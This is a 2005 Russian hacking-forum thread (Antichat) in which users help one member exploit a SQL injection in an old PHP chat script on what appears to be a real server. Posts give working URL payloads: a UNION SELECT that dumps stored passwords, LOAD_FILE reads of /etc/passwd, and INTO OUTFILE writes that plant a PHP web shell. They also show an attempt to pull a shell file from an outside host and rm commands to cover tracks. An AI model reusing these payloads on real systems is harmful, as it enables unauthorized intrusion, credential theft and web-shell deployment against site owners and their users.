ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

sql-injection
  #1  
Старый 22.10.2005, 20:37
Аватар для insidex
insidex
Познающий
Регистрация: 13.10.2005
Сообщений: 41
Провел на форуме:
62530

Репутация: 1
Exclamation sql-injection

Уважаемые,очень прошу помочь мне разобраться со следующей конструкцией:

На одном сервере установлен древний php скрипт одного чата с mysql базой.
Уязвимость заключается в скрипте редактирование профайла пользователей.Пример Запрос,типа

http://mysite.com/chе/usrs.php?L=russia&R='%20UNION%20SELECT%20pass,null ,null, null%20FROM%20%20register_user%20/*

выдаст нам из таблицы register_user все пароли зарегестрированных пользователей. Таким образом можно узнать все данные из базы данных.

А теперь самое интересное,как мне модифицировать запрос,чтобы я смог работать(просматривать) файлы на сервере.Буду очень благодарен!

Последний раз редактировалось insidex; 24.10.2005 в 17:14..
 
Ответить с цитированием

  #2  
Старый 23.10.2005, 14:35
Аватар для virgoz
virgoz
Участник форума
Регистрация: 16.09.2004
Сообщений: 193
Провел на форуме:
621131

Репутация: 47
Отправить сообщение для virgoz с помощью ICQ
По умолчанию

Вот так, если у тебя хватит прав:
Цитата:
http://mysite.com/chat/usersL.php3?L=russian&R='+UNION+SELECT+LOAD_FILE('/etc/passwd'),null,null,null+FROM+register_user/*
/etc/passwd заменяй, на нужный файл.
 
Ответить с цитированием

  #3  
Старый 24.10.2005, 17:09
Аватар для insidex
insidex
Познающий
Регистрация: 13.10.2005
Сообщений: 41
Провел на форуме:
62530

Репутация: 1
По умолчанию

Спасибо за помощь! Очень помог!!!! Кста как ты правильно первый файл указал)))


p.s. please change your last post (address)

И еще один вопрос: возможно ли получить список файлов в какой-либо директории при помощи данной injection (права позволяют)

Последний раз редактировалось insidex; 24.10.2005 в 18:51..
 
Ответить с цитированием

  #4  
Старый 24.10.2005, 22:11
Аватар для virgoz
virgoz
Участник форума
Регистрация: 16.09.2004
Сообщений: 193
Провел на форуме:
621131

Репутация: 47
Отправить сообщение для virgoz с помощью ICQ
По умолчанию

Нет, читать содержимое директорий не получится.
Но если тебе хватает прав на чтение файлов, то можешь попробовать следующие вещи:
1. Залить шелл:
Цитата:
http://mysite.com/chat/usersL.php3?L=russian&R='+UNION+SELECT+'<?php',nul l,null,null+FROM+register_user+into+outfile+'../shell.php'/*
Дальше по анологии. Только не забудь поменять директорию, где есть права на запись.
2. Просмотри поле mysql.user.password в таблице mysql.user.
 
Ответить с цитированием

  #5  
Старый 24.10.2005, 22:40
Аватар для insidex
insidex
Познающий
Регистрация: 13.10.2005
Сообщений: 41
Провел на форуме:
62530

Репутация: 1
По умолчанию

Блина емое,а как очистить.удалить файл поспешно созданный на сервере? Возможно такое?Спасибо.

Последний раз редактировалось insidex; 24.10.2005 в 23:30..
 
Ответить с цитированием

  #6  
Старый 25.10.2005, 00:24
Аватар для bul666
bul666
Banned
Регистрация: 21.04.2005
Сообщений: 328
Провел на форуме:
632524

Репутация: 9
Отправить сообщение для bul666 с помощью ICQ
По умолчанию

<? system ("rm файл"); ?> Честно говоря не помню Как в Линуксе удаление... )))))
 
Ответить с цитированием

  #7  
Старый 25.10.2005, 20:08
Аватар для virgoz
virgoz
Участник форума
Регистрация: 16.09.2004
Сообщений: 193
Провел на форуме:
621131

Репутация: 47
Отправить сообщение для virgoz с помощью ICQ
По умолчанию

Ну шелл залей, а потом из него, как bul666 сказал: rm -rf ./file.php
 
Ответить с цитированием

  #8  
Старый 07.11.2005, 09:43
Аватар для insidex
insidex
Познающий
Регистрация: 13.10.2005
Сообщений: 41
Провел на форуме:
62530

Репутация: 1
По умолчанию

http://site.com/vivat.php?r=russian&R='+UNION+SELECT+LOAD_FILE('ht tp://www.hiliv.narod.ru/shell.txt') ,null,null,null+FROM+reg_user+into+outfile+'/usr/local/www/site.com/picnic/shell.php'/*

На месте,где указан http адрес шелла http://www.hiliv.narod.ru/shell.txt, MySql громко икает с собщением об обшибке.Думаю виной здесь двойной слеш //. Можно ли как-то сформировать в данном случае успешный запрос.Заранее Приношу извинения за назойливость и огромное спасибо.
 
Ответить с цитированием

  #9  
Старый 07.11.2005, 09:54
Аватар для insidex
insidex
Познающий
Регистрация: 13.10.2005
Сообщений: 41
Провел на форуме:
62530

Репутация: 1
По умолчанию

Забыл написать:
Выкидывается ошибка "MySQL error: 13 (Can't get stat of 'http:/www.hiliv.narod.ru/shell.txt'' (Errcode: 2)) "
 
Ответить с цитированием

  #10  
Старый 07.11.2005, 11:44
Аватар для k1b0rg
k1b0rg
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме:
4520553

Репутация: 1316


По умолчанию

тык наверное mysql ищет файл указаный loadfile у себя, а не на удаленной тачке.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ